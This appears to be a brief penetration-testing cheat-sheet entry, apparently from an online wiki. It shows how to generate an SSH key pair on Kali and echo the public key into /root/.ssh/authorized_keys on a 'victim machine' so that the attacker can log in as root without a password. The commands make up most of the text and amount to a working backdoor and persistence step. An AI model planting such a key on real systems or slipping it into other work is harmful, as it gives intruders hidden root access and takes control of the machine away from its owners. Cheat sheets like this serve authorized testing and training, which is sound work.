SSH Key
On Kali, generate SSH key pair:
ssh-keygenStore the content of id_rsa.pub into /root/.ssh/authorized_keys on the victim machine:
echo '<id_rsa.pub_content>' > /root/.ssh/authorized_keysThen we can SSH in without password.
Last updated
Was this helpful?